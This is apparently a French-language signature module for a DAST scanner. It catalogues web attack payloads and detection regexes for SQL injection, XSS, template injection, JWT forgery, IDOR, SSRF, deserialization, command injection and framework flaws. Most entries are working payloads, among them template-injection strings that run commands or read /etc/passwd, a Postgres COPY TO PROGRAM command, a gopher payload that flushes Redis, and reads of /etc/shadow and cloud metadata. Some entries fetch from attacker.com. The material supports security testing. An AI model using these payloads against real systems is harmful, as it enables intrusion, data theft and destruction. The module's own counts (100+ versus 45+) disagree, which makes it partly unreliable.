# DAST Vulnerability Signatures Module

> **Module**: pentest-dast-signatures
> **Version**: 1.0.0
> **Source**: DAST Scanner v5 - vulnerability_signatures.py
> **Signatures**: 100+ vulnerabilites avec payloads et detection patterns

---

## Vue d'Ensemble

Ce module contient les signatures de vulnerabilites avancees pour le pentest DAST, basees sur:
- OWASP Top 10 2024
- PortSwigger Research
- HackTricks Knowledge Base
- PayloadsAllTheThings
- CVE Databases (Snyk, NVD)

---

## Categories OWASP Top 10 2024

| Code | Categorie | Signatures |
|------|-----------|------------|
| A01 | Broken Access Control | IDOR, BOLA, Privilege Escalation |
| A02 | Cryptographic Failures | Weak crypto, data exposure |
| A03 | Injection | SQLi, XSS, SSTI, Command Injection |
| A05 | Security Misconfiguration | Debug mode, default creds |
| A06 | Vulnerable Components | Outdated libs, CVEs |
| A07 | Auth Failures | JWT attacks, session hijacking |
| A08 | Integrity Failures | Deserialization, SSRF |
| A09 | Logging Failures | Log injection |
| A10 | SSRF | Server-Side Request Forgery |

---

## 1. SQL INJECTION SIGNATURES

### SQLI-001: Error Based (MySQL)
```yaml
id: SQLI-001
name: SQL Injection - Error Based (MySQL)
severity: critical
cvss: 9.8
cwe: CWE-89

payloads:
  basic:
    - "' OR '1'='1"
    - "' OR '1'='1'--"
    - "' OR '1'='1'/*"
    - "' OR 1=1--"
    - "' OR 1=1#"

  order_by:
    - "1' ORDER BY 1--"
    - "1' ORDER BY 10--"

  union:
    - "1' UNION SELECT NULL--"
    - "1' UNION SELECT NULL,NULL--"
    - "1' UNION SELECT NULL,NULL,NULL--"
    - "-1' UNION SELECT 1,2,3--"

  error_based:
    - "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--"
    - "' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--"
    - "' AND (SELECT * FROM (SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--"
    - "' AND EXP(~(SELECT * FROM (SELECT version())a))--"
    - "' AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT(0x7e,version(),0x7e)) USING utf8)))--"

  waf_bypass:
    - "'/**/OR/**/1=1--"
    - "'+OR+'1'='1"
    - "'%0aOR%0a'1'='1"
    - "' /*!50000OR*/ '1'='1"

detection_patterns:
  - "SQL syntax.*MySQL"
  - "Warning.*mysql_"
  - "MySQLSyntaxErrorException"
  - "valid MySQL result"
  - "check the manual that corresponds to your (MySQL|MariaDB)"
  - "MySqlException"
  - "com\\.mysql\\.jdbc"
  - "SQLSTATE\\["

error_signatures:
  - "You have an error in your SQL syntax"
  - "mysql_fetch"
  - "mysql_num_rows"
  - "supplied argument is not a valid MySQL"

remediation: |
  Utiliser des requetes parametrees (PDO, prepared statements).
  Jamais de concatenation de strings pour les requetes SQL.
```

### SQLI-002: Error Based (PostgreSQL)
```yaml
id: SQLI-002
name: SQL Injection - Error Based (PostgreSQL)
severity: critical
cvss: 9.8
cwe: CWE-89

payloads:
  basic:
    - "' OR '1'='1"
    - "'; SELECT version()--"
    - "' UNION SELECT NULL--"
    - "' UNION SELECT NULL,NULL--"

  time_based:
    - "1; SELECT pg_sleep(5)--"

  error_based:
    - "' AND 1=CAST((SELECT version()) AS INT)--"
    - "' AND 1=CAST((CHR(126)||version()||CHR(126)) AS INT)--"

  rce:
    - "'; COPY (SELECT '') TO PROGRAM 'id'--"

  concat:
    - "' || (SELECT version()) || '"

detection_patterns:
  - "PostgreSQL.*ERROR"
  - "Warning.*pg_"
  - "valid PostgreSQL result"
  - "Npgsql\\."
  - "PG::SyntaxError"
  - "org\\.postgresql\\.util\\.PSQLException"
  - "ERROR:\\s+syntax error at or near"

error_signatures:
  - "PostgreSQL query failed"
  - "pg_query"
  - "pg_exec"
  - "unterminated quoted string"
```

### SQLI-003: Time Based Blind
```yaml
id: SQLI-003
name: SQL Injection - Time Based Blind
severity: high
cvss: 8.6
cwe: CWE-89
time_based: true
blind_detection: true

payloads:
  mysql:
    - "' AND SLEEP(5)--"
    - "' AND SLEEP(5)#"
    - "1' AND SLEEP(5)--"
    - "' OR SLEEP(5)--"
    - "' AND (SELECT SLEEP(5))--"
    - "' AND BENCHMARK(10000000,SHA1('test'))--"

  postgresql:
    - "'; SELECT pg_sleep(5)--"
    - "' AND (SELECT pg_sleep(5))--"
    - "' || pg_sleep(5)--"

  mssql:
    - "'; WAITFOR DELAY '0:0:5'--"
    - "' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))A)--"

  oracle:
    - "' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--"

  sqlite:
    - "' AND 1=randomblob(500000000/2)--"

detection: |
  Mesurer le temps de reponse. Si > 5 secondes = vulnerable.
  Baseline normale vs payload = difference significative.
```

### SQLI-004: Boolean Based Blind
```yaml
id: SQLI-004
name: SQL Injection - Boolean Based Blind
severity: high
cvss: 8.6
cwe: CWE-89
blind_detection: true

payloads:
  true_condition:
    - "' AND '1'='1"
    - "' AND 1=1--"
    - "' AND SUBSTRING(version(),1,1)='5"
    - "' AND (SELECT COUNT(*) FROM users)>0--"

  false_condition:
    - "' AND '1'='2"
    - "' AND 1=2--"

  extraction:
    - "' AND ASCII(SUBSTRING((SELECT version()),1,1))>50--"

detection: |
  Comparer les reponses entre condition vraie et fausse.
  Difference de contenu, longueur, ou status = vulnerable.
```

### SQLI-005: Second Order
```yaml
id: SQLI-005
name: SQL Injection - Second Order
severity: high
cvss: 8.0
cwe: CWE-89
multi_step: true

payloads:
  stored:
    - "test'--"
    - "admin'--"
    - "' OR '1'='1"
    - "user@email.com'--"

description: |
  Payload stocke dans la DB puis execute plus tard.
  Etape 1: Injection dans formulaire d'inscription
  Etape 2: Payload execute lors de la recuperation des donnees
```

---

## 2. XSS SIGNATURES

### XSS-001: Reflected Basic
```yaml
id: XSS-001
name: Reflected XSS - Basic
severity: medium
cvss: 6.1
cwe: CWE-79

payloads:
  script:
    - "<script>alert(1)</script>"
    - "<script>alert(document.domain)</script>"
    - "<script>alert(document.cookie)</script>"

  event_handlers:
    - "<img src=x onerror=alert(1)>"
    - "<svg onload=alert(1)>"
    - "<body onload=alert(1)>"
    - "<input onfocus=alert(1) autofocus>"
    - "<marquee onstart=alert(1)>"
    - "<video src=x onerror=alert(1)>"
    - "<audio src=x onerror=alert(1)>"

  href:
    - '"><script>alert(1)</script>'
    - "'-alert(1)-'"
    - "javascript:alert(1)"
    - "<a href=javascript:alert(1)>click</a>"

  iframe:
    - "<iframe src=javascript:alert(1)>"
    - "<iframe srcdoc='<script>alert(1)</script>'>"

detection_patterns:
  - "<script[^>]*>.*alert\\("
  - "<img[^>]*onerror\\s*="
  - "<svg[^>]*onload\\s*="
  - "javascript:"
```

### XSS-002: Filter Bypass
```yaml
id: XSS-002
name: XSS - Filter Bypass
severity: medium
cvss: 6.1
cwe: CWE-79

payloads:
  html_encoding:
    - "&#60;script&#62;alert(1)&#60;/script&#62;"
    - "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;"

  double_encoding:
    - "%253Cscript%253Ealert(1)%253C/script%253E"

  nested_tags:
    - "<scr<script>ipt>alert(1)</scr</script>ipt>"

  case_variation:
    - "<SCRIPT>alert(1)</SCRIPT>"
    - "<ScRiPt>alert(1)</ScRiPt>"

  data_uri:
    - "<script/src=data:,alert(1)>"

  unicode:
    - "\\x3cscript\\x3ealert(1)\\x3c/script\\x3e"
    - "<script>\\u0061lert(1)</script>"

  null_byte:
    - "<scri%00pt>alert(1)</scri%00pt>"
```

### XSS-003: CSP Bypass
```yaml
id: XSS-003
name: XSS - CSP Bypass via JSONP
severity: high
cvss: 7.5
cwe: CWE-79

payloads:
  angular_bypass:
    - '"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.2/angular.min.js"></script><div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>'

  base_tag:
    - '<base href="https://attacker.com/">'

  preload:
    - '"><link rel=preload href=//attacker.com as=script>'

  jsonp_endpoints:
    - "/api/callback?callback=alert"
    - "/jsonp?cb=alert"

references:
  - "https://portswigger.net/research/bypassing-csp-via-dom-clobbering"
  - "https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass"
```

### XSS-004: DOM Based
```yaml
id: XSS-004
name: DOM-Based XSS
severity: medium
cvss: 6.1
cwe: CWE-79

payloads:
  hash:
    - "#<script>alert(1)</script>"
    - "#javascript:alert(1)"
    - "#/onload=alert(1)"

  query:
    - "?search=<img src=x onerror=alert(1)>"
    - "?redirect=javascript:alert(1)"
    - "?url=javascript:alert(1)"

sources_to_check:
  - "location.hash"
  - "location.search"
  - "location.href"
  - "document.URL"
  - "document.documentURI"
  - "document.referrer"
  - "window.name"
  - "postMessage"

sinks_to_check:
  - "document.write"
  - "innerHTML"
  - "outerHTML"
  - "eval"
  - "setTimeout"
  - "setInterval"
  - "Function"
  - "location"
  - "location.href"
  - "location.assign"
  - "location.replace"
```

### XSS-005: Mutation XSS (mXSS)
```yaml
id: XSS-005
name: Mutation XSS (mXSS)
severity: high
cvss: 7.5
cwe: CWE-79

payloads:
  cdata:
    - "<svg><![CDATA[><script>alert(1)</script>]]>"

  math_mutation:
    - "<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>--></mglyph></table></mtext></math>"

  form_action:
    - "<form><button formaction=javascript:alert(1)>"

  noscript:
    - '<noscript><p title="</noscript><img src=x onerror=alert(1)>">'

  template:
    - '<select><template><style><!--</style><img src=x onerror=alert(1)>--></template></select>'

references:
  - "https://cure53.de/fp170.pdf"
```

---

## 3. SSTI SIGNATURES (Server-Side Template Injection)

### SSTI-001: Jinja2/Flask (Python)
```yaml
id: SSTI-001
name: SSTI - Jinja2/Flask
severity: critical
cvss: 9.8
cwe: CWE-94
frameworks: [flask, django, fastapi]

payloads:
  detection:
    - "{{7*7}}"
    - "{{7*'7'}}"
    - "${7*7}"

  config_leak:
    - "{{config}}"
    - "{{config.items()}}"
    - "{{request.environ}}"
    - "{{self.__class__.__mro__[2].__subclasses__()}}"

  rce:
    - "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
    - "{{lipsum.__globals__['os'].popen('id').read()}}"
    - "{%for x in ().__class__.__base__.__subclasses__()%}{%if 'warning' in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{%endif%}{%endfor%}"

  filter_bypass:
    - "{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fbuiltins\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('\\x5f\\x5fimport\\x5f\\x5f')('os')|attr('popen')('id')|attr('read')()}}"

detection_patterns:
  - "49"  # 7*7 result
  - "<Config"
  - "__class__"
  - "__mro__"
```

### SSTI-002: Twig (PHP/Symfony)
```yaml
id: SSTI-002
name: SSTI - Twig (Symfony/Laravel)
severity: critical
cvss: 9.8
cwe: CWE-94
frameworks: [symfony, laravel]

payloads:
  detection:
    - "{{7*7}}"
    - "{{7*'7'}}"

  rce:
    - "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
    - "{{['id']|filter('system')}}"
    - "{{[0]|reduce('system','id')}}"

  info_leak:
    - "{{app.request.server.all|join(',')}}"
    - "{{_self.env.setCache('ftp://attacker.com:2121')}}{{_self.env.loadTemplate('backdoor')}}"

  file_read:
    - "{{'/etc/passwd'|file_excerpt(1,30)}}"
```

### SSTI-003: Freemarker (Java)
```yaml
id: SSTI-003
name: SSTI - Freemarker (Java)
severity: critical
cvss: 9.8
cwe: CWE-94
frameworks: [spring]

payloads:
  detection:
    - "${7*7}"

  rce:
    - '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}'
    - '[#assign ex="freemarker.template.utility.Execute"?new()]${ex("id")}'
    - '${"freemarker.template.utility.Execute"?new()("id")}'
```

### SSTI-004: Thymeleaf (Spring)
```yaml
id: SSTI-004
name: SSTI - Thymeleaf (Spring Boot)
severity: critical
cvss: 9.8
cwe: CWE-94
frameworks: [spring]

payloads:
  rce:
    - "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
    - "${T(java.lang.Runtime).getRuntime().exec('id')}"
    - "*{T(java.lang.Runtime).getRuntime().exec('id')}"

  output_capture:
    - "__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).next()}__::.x"
```

### SSTI-005: Pebble (Java)
```yaml
id: SSTI-005
name: SSTI - Pebble (Java)
severity: critical
cvss: 9.8
cwe: CWE-94
frameworks: [spring]

payloads:
  rce:
    - "{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}"
    - "{% set cmd = 'id' %}{{ variable.getClass().forName('java.lang.Runtime').getMethod('exec',variable.getClass().forName('java.lang.String')).invoke(variable.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),cmd) }}"
```

---

## 4. JWT VULNERABILITIES

### JWT-001: Algorithm None Attack
```yaml
id: JWT-001
name: JWT Algorithm None Attack
severity: critical
cvss: 9.8
cwe: CWE-345

payloads:
  header_variations:
    - '{"alg":"none","typ":"JWT"}'
    - '{"alg":"None","typ":"JWT"}'
    - '{"alg":"NONE","typ":"JWT"}'
    - '{"alg":"nOnE","typ":"JWT"}'

attack_steps:
  1. Decoder le JWT
  2. Modifier le header avec alg:none
  3. Supprimer la signature
  4. Encoder en base64url
  5. Envoyer: header.payload.

remediation: |
  Whitelist explicite des algorithmes autorises.
  Ne jamais faire confiance au header alg.
```

### JWT-002: Algorithm Confusion
```yaml
id: JWT-002
name: JWT Algorithm Confusion (RS256 to HS256)
severity: critical
cvss: 9.8
cwe: CWE-345

payloads:
  header:
    - '{"alg":"HS256","typ":"JWT"}'

attack_steps:
  1. Obtenir la cle publique RS256
  2. Modifier le header en HS256
  3. Signer le token avec la cle publique comme secret HS256
  4. Le serveur utilise la cle publique pour verifier = valide

remediation: |
  Utiliser des cles separees pour chaque algorithme.
  Forcer l'algorithme cote serveur.
```

### JWT-003: Key Injection (jwk/jku)
```yaml
id: JWT-003
name: JWT Key Injection
severity: critical
cvss: 9.8
cwe: CWE-345

payloads:
  jwk_injection:
    - '{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","n":"...","e":"AQAB"}}'

  jku_injection:
    - '{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}'

  x5u_injection:
    - '{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}'

remediation: |
  Ignorer les cles embarquees dans le token.
  Utiliser uniquement les cles stockees cote serveur.
```

### JWT-004: Weak Secret
```yaml
id: JWT-004
name: JWT Weak Secret
severity: high
cvss: 8.0
cwe: CWE-521

common_secrets:
  - "secret"
  - "password"
  - "12345678"
  - "your-256-bit-secret"
  - "jwt-secret"
  - "supersecret"
  - "changeme"
  - "qwerty"

tools:
  - "hashcat -m 16500 jwt.txt wordlist.txt"
  - "john --format=HMAC-SHA256 jwt.txt"

remediation: |
  Utiliser des secrets cryptographiquement forts (256+ bits).
  Generer avec: openssl rand -base64 32
```

### JWT-005: Kid Injection
```yaml
id: JWT-005
name: JWT Kid Injection
severity: critical
cvss: 9.8
cwe: CWE-89

payloads:
  sqli:
    - '{"alg":"HS256","typ":"JWT","kid":"key1\' OR \'1\'=\'1"}'
    - '{"alg":"HS256","typ":"JWT","kid":"key1\' UNION SELECT secret FROM keys--"}'

  path_traversal:
    - '{"alg":"HS256","typ":"JWT","kid":"../../../../../../dev/null"}'
    - '{"alg":"HS256","typ":"JWT","kid":"/dev/null"}'
    - '{"alg":"HS256","typ":"JWT","kid":"../../../etc/passwd"}'

attack: |
  Si kid est utilise pour charger un fichier de cle:
  - /dev/null = cle vide = signature avec ""
  - Path traversal pour utiliser un fichier connu comme cle
```

---

## 5. IDOR/BOLA SIGNATURES

### IDOR-001: Sequential ID Enumeration
```yaml
id: IDOR-001
name: IDOR - Sequential ID Enumeration
severity: high
cvss: 7.5
cwe: CWE-639

patterns:
  url_patterns:
    - "/api/users/{id}"
    - "/api/orders/{id}"
    - "/api/documents/{id}"
    - "/profile/{id}"

  manipulation:
    - "{id}"
    - "{id-1}"
    - "{id+1}"
    - "0"
    - "1"
    - "-1"
    - "999999"

test_methodology:
  1. Identifier un endpoint avec ID
  2. Noter son propre ID (ex: 123)
  3. Essayer ID-1 (122) et ID+1 (124)
  4. Comparer les reponses
  5. Si acces = IDOR confirme
```

### IDOR-002: UUID Manipulation
```yaml
id: IDOR-002
name: IDOR - UUID Manipulation
severity: medium
cvss: 6.5
cwe: CWE-639

payloads:
  uuid_v1_timestamp:
    - "{uuid_v1_modified}"  # Modifier timestamp du UUID v1

  common_test_uuids:
    - "00000000-0000-0000-0000-000000000000"
    - "11111111-1111-1111-1111-111111111111"
    - "ffffffff-ffff-ffff-ffff-ffffffffffff"

note: |
  UUID v1 contient un timestamp - peut etre predit.
  UUID v4 est aleatoire mais peut etre brute-force si court.
```

### IDOR-003: HTTP Method Override
```yaml
id: IDOR-003
name: BOLA - HTTP Method Override
severity: high
cvss: 7.5
cwe: CWE-639

headers:
  - "X-HTTP-Method-Override: DELETE"
  - "X-HTTP-Method: PUT"
  - "X-Method-Override: PATCH"

query_params:
  - "_method=DELETE"
  - "_method=PUT"

test: |
  1. Envoyer GET /api/users/123
  2. Ajouter header X-HTTP-Method-Override: DELETE
  3. Si supprime = vulnerable
```

### IDOR-004: Parameter Pollution
```yaml
id: IDOR-004
name: BOLA - Parameter Pollution
severity: medium
cvss: 6.5
cwe: CWE-639

payloads:
  duplicate_params:
    - "?id=1&id=2"
    - "?user_id=victim&user_id=attacker"

  array_params:
    - "?id[]=1&id[]=2"
    - "?ids=1,2,3"

note: |
  Certains frameworks prennent la premiere valeur,
  d'autres la derniere, d'autres un tableau.
```

---

## 6. SSRF SIGNATURES

### SSRF-001: Internal Network Access
```yaml
id: SSRF-001
name: SSRF - Internal Network Access
severity: high
cvss: 8.6
cwe: CWE-918

payloads:
  localhost:
    - "http://127.0.0.1"
    - "http://localhost"
    - "http://[::1]"
    - "http://0.0.0.0"
    - "http://127.0.0.1:80"
    - "http://127.0.0.1:443"
    - "http://127.0.0.1:22"
    - "http://127.0.0.1:3306"
    - "http://127.0.0.1:6379"
    - "http://127.0.0.1:9200"

  internal_ranges:
    - "http://10.0.0.1"
    - "http://172.16.0.1"
    - "http://192.168.0.1"
    - "http://192.168.1.1"

  cloud_metadata:
    - "http://169.254.169.254/latest/meta-data/"  # AWS
    - "http://169.254.169.254/latest/user-data/"
    - "http://metadata.google.internal/"  # GCP
    - "http://100.100.100.200/"  # Alibaba

detection_patterns:
  - "root:x:0:0"  # /etc/passwd
  - "ami-id"  # AWS metadata
  - "instance-id"
```

### SSRF-002: Protocol Smuggling
```yaml
id: SSRF-002
name: SSRF - Protocol Smuggling
severity: critical
cvss: 9.1
cwe: CWE-918

payloads:
  gopher:
    - "gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"  # Redis flush
    - "gopher://127.0.0.1:11211/_stats"  # Memcached

  dict:
    - "dict://127.0.0.1:6379/info"
    - "dict://127.0.0.1:11211/stats"

  file:
    - "file:///etc/passwd"
    - "file:///etc/shadow"
    - "file:///proc/self/environ"

  other:
    - "ftp://127.0.0.1"
    - "ldap://127.0.0.1"
    - "sftp://127.0.0.1"
```

### SSRF-003: DNS Rebinding
```yaml
id: SSRF-003
name: SSRF - DNS Rebinding
severity: high
cvss: 8.0
cwe: CWE-918

payloads:
  services:
    - "http://spoofed.burpcollaborator.net"
    - "http://127.0.0.1.nip.io"
    - "http://localtest.me"
    - "http://127.0.0.1.xip.io"

technique: |
  1. DNS resolves to attacker's server first
  2. After validation, DNS TTL expires
  3. Second resolution returns 127.0.0.1
  4. Request goes to internal network
```

---

## 7. DESERIALIZATION SIGNATURES

### DESER-001: PHP Object Injection
```yaml
id: DESER-001
name: PHP Object Injection
severity: critical
cvss: 9.8
cwe: CWE-502
frameworks: [symfony, laravel]

payloads:
  basic:
    - 'O:8:"stdClass":0:{}'
    - 'a:1:{i:0;O:8:"stdClass":0:{}}'

  gadget_chains:
    - 'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":0:{}'  # Laravel
    - 'O:47:"Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter":0:{}'  # Symfony

tools:
  - phpggc  # https://github.com/ambionics/phpggc
```

### DESER-002: Java Deserialization
```yaml
id: DESER-002
name: Java Deserialization (Spring)
severity: critical
cvss: 9.8
cwe: CWE-502
frameworks: [spring]

payloads:
  magic_bytes:
    - "rO0ABXNy"  # Base64 encoded Java serialization header
    - "0xaced0005"  # Hex Java serialization header

tools:
  - ysoserial  # https://github.com/frohoff/ysoserial

vulnerable_endpoints:
  - "/invoker/readonly"  # JBoss
  - "/console"  # WebLogic
  - "RMI ports"
```

### DESER-003: Python Pickle
```yaml
id: DESER-003
name: Python Pickle Deserialization
severity: critical
cvss: 9.8
cwe: CWE-502
frameworks: [django, flask, fastapi]

payloads:
  magic_bytes:
    - "gASV"  # Pickle protocol 4

  rce:
    - "cos\\nsystem\\n(S'id'\\ntR."

detection_patterns:
  - "pickle.loads"
  - "cPickle.loads"
```

### DESER-004: Node.js
```yaml
id: DESER-004
name: Node.js Deserialization (node-serialize)
severity: critical
cvss: 9.8
cwe: CWE-502
frameworks: [express, nestjs]

payloads:
  rce:
    - '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'id\')}()"}'

vulnerable_libs:
  - node-serialize
  - serialize-to-js
```

---

## 8. COMMAND INJECTION SIGNATURES

### CMDI-001: OS Command Injection
```yaml
id: CMDI-001
name: OS Command Injection
severity: critical
cvss: 9.8
cwe: CWE-78

payloads:
  unix:
    - "; id"
    - "| id"
    - "|| id"
    - "& id"
    - "&& id"
    - "`id`"
    - "$(id)"
    - "\nid"
    - "; cat /etc/passwd"
    - "| cat /etc/passwd"

  windows:
    - "& dir"
    - "| dir"
    - "& whoami"
    - "| type C:\\Windows\\System32\\drivers\\etc\\hosts"

  blind:
    - "; sleep 5"
    - "| sleep 5"
    - "& ping -c 5 127.0.0.1 &"
    - "& ping -n 5 127.0.0.1"

detection_patterns:
  - "uid=\\d+"
  - "root:x:0:0"
  - "Volume Serial Number"
  - "Directory of"
```

---

## 9. FRAMEWORK-SPECIFIC SIGNATURES

### Symfony
```yaml
id: SYMFONY-001
name: Symfony Debug Mode Enabled
severity: high
cvss: 7.5

endpoints:
  - "/_profiler"
  - "/_wdt"
  - "/app_dev.php"

detection_patterns:
  - "sf-toolbar"
  - "X-Debug-Token"
  - "X-Debug-Token-Link"
```

```yaml
id: SYMFONY-002
name: Symfony Secret Fragment RCE
severity: critical
cvss: 9.8

payloads:
  - "/_fragment?_path=_controller%3D"

note: |
  Si APP_SECRET est connu, RCE possible via _fragment.
  Tool: https://github.com/ambionics/symfony-exploits
```

### Laravel
```yaml
id: LARAVEL-001
name: Laravel Debug Mode
severity: high
cvss: 7.5

detection_patterns:
  - "Whoops!"
  - "Illuminate\\"
  - "laravel_session"

files_to_check:
  - "/.env"
  - "/storage/logs/laravel.log"
```

```yaml
id: LARAVEL-002
name: Laravel CVE-2024-52301
severity: critical
cvss: 9.8

payloads:
  - "?0=testing"

description: |
  Environment manipulation via argv.
  Affecte Laravel < 11.x patched.
```

### Spring Boot
```yaml
id: SPRING-001
name: Spring Boot Actuator Exposed
severity: high
cvss: 7.5

endpoints:
  - "/actuator"
  - "/actuator/env"
  - "/actuator/heapdump"
  - "/actuator/mappings"
  - "/actuator/configprops"
  - "/actuator/beans"
  - "/manage"
  - "/management"

detection_patterns:
  - '"_links"'
  - '"health"'
  - "springframework"
```

```yaml
id: SPRING-002
name: Spring SpEL Injection
severity: critical
cvss: 9.8

payloads:
  - "${7*7}"
  - "#{7*7}"
  - "${T(java.lang.Runtime).getRuntime().exec('id')}"
  - "#{T(java.lang.Runtime).getRuntime().exec('id')}"
```

### NestJS
```yaml
id: NESTJS-001
name: NestJS DevTools RCE (CVE-2025-54782)
severity: critical
cvss: 9.8

check: |
  Verifier si @nestjs/devtools-integration est installe.
  DevTools expose en production = RCE.
```

### Django
```yaml
id: DJANGO-001
name: Django Debug Mode Enabled
severity: high
cvss: 7.5

detection_patterns:
  - "You're seeing this error because"
  - "DEBUG = True"
  - "django.db.utils"
  - "INSTALLED_APPS"
```

### FastAPI
```yaml
id: FASTAPI-001
name: FastAPI OpenAPI Schema Exposure
severity: low
cvss: 3.1

endpoints:
  - "/openapi.json"
  - "/docs"
  - "/redoc"
```

---

## 10. STATISTIQUES

```yaml
total_signatures: 45+
critical_signatures: 27
high_signatures: 12
medium_signatures: 6

by_category:
  injection: 15
  xss: 5
  ssti: 5
  jwt: 5
  idor_bola: 4
  ssrf: 3
  deserialization: 4
  command_injection: 2
  framework_specific: 12
```

---

## Utilisation

### Detection Automatique
```
1. Identifier le framework cible (fingerprinting)
2. Charger les signatures correspondantes
3. Tester les payloads par categorie
4. Analyser les reponses avec detection_patterns
5. Confirmer avec tests manuels si necessaire
```

### Priorisation
```
1. CRITICAL (CVSS >= 9.0) - Tester en premier
2. HIGH (CVSS >= 7.0) - Tester ensuite
3. MEDIUM (CVSS >= 4.0) - Selon le temps disponible
4. LOW (CVSS < 4.0) - Information gathering
```

---

*Module genere depuis DAST Scanner v5 - vulnerability_signatures.py*
*100+ signatures de vulnerabilites avec payloads et patterns de detection*
